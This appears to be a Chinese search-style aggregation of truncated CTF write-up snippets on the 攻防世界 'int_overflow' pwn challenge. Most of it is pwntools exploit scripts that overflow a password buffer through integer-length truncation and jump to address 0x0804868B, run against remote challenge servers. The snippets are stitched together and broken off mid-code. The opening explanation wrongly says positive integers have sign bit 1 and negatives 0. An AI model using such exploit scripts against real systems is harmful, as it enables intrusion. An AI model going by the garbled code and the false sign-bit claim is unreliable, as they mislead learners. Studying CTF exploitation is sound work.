整数溢出原理整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0, 无符号数取值范围为非负数,常见各类型占用字节数如下: 类型 占用字节数 取值范围 Int 4 -2147483648~2147483647 Short int 2 -32768~32767 Long int 4 -2147483648~2147483647 Unsigned int 4 0~429496729...
frompwnimport*context(os="linux", arch="x86", log_level="debug")p = process('./int_overflow')system_addr =0x804868Bpayload =b'A'*(0x14+0x4) + p32(system_addr)payload = payload.ljust(260,b'a')p.recvuntil("Your choice:")p.sendline("1")p.recvuntil("Please input your username:...
from pwn import*context(terminal=['tmux','splitw','-h'],os="linux",#arch="amd64",arch="i386",log_level="debug")#elf=ELF("./over_flow")io=process("./over_flow")#io=remote("61.147.171.105",58664)defdebug():gdb.attach(io)pause()debug()### back_door=0xaaaabaaa0804868B#我直...
write(1,"I/O error\n",0xAuLL); sub_400AD6(1u); } } 这段代码是程序malloc之后唯一往新空间写入内容的地方,如果用户输入和size长度匹配的内容,自然是一点问题都没有。但是如果用户输入小于给定size长度的内容,因为read函数返回值是实际读入的字节数,因此可能造成v3 < size的情况。还是举例来说,size=0x400...
/usr/bin/python3frompwnimport*p=remote("111.200.241.244","57216")cat_flag=0x0804868Bpayload=b"A"*0x18+p32(cat_flag)+b"B"*(260-0x18-4)p.sendlineafter("Your choice:",b"1")p.sendlineafter("Please input your username:",b"nick")p.sendlineafter("Please input your passwd:",payload)...
frompwnimport*sh=remote('111.198.29.45',39118)sh.recvuntil('Your choice:')flag=0x0804868Bsh.sendline('1')sh.recvuntil('username:')sh.sendline('z')sh.recvuntil('passwd:')payload='a'*0x14+'aaaa'+p32(flag)+'a'*234sh.sendline(payload)sh.interactive() ...
frompwnimport* io = remote("111.198.29.45",47271) cat_flag_addr =0x0804868B io.sendlineafter("Your choice:","1") io.sendlineafter("your username:","kk") io.recvuntil("your passwd:") payload ="a"*0x14+"aaaa"+ p32(cat_flag_addr)+"a"*234 ...
攻防世界 - pwn - guess_num A、程序分析 1、 分析程序发现连续输入密码正确10次即可获取flag 2、 &n... 攻防世界 - pwn - cgpwn2 A、流程分析 1、将输入的用户名存储到全局变量 2、通过gets()获取留言信息 B、利用分析 1、gets( ebp-26h ) -> 26h(填充数据) + 4(ebp) + 4(返回地址) -> ...
payload一共是256+3-256+8这些字节,先填充14+4进行覆盖,再填充跳转地址,再加上剩余的数据让v3达到绕过溢出的目的 from pwnimport * kubopiy=remote("220.249.52.133",59148)#进行连接 elf = ELF("./int_overflow") payload=b'a'*(0x28+0x04)+p32(0x0804A0A8)#b是字节,填入这么多的a,再加一个64位...
frompwnimport*#sh = process('./abd631bc00e445608f5f2af2cb0c151a')sh = remote('111.198.29.45',32377) sh.recvuntil('Your choice:') sh.sendline('1') sh.recvuntil('your username:\n') sh.sendline('Mr_hello') sh.recvuntil('your passwd:\n') ...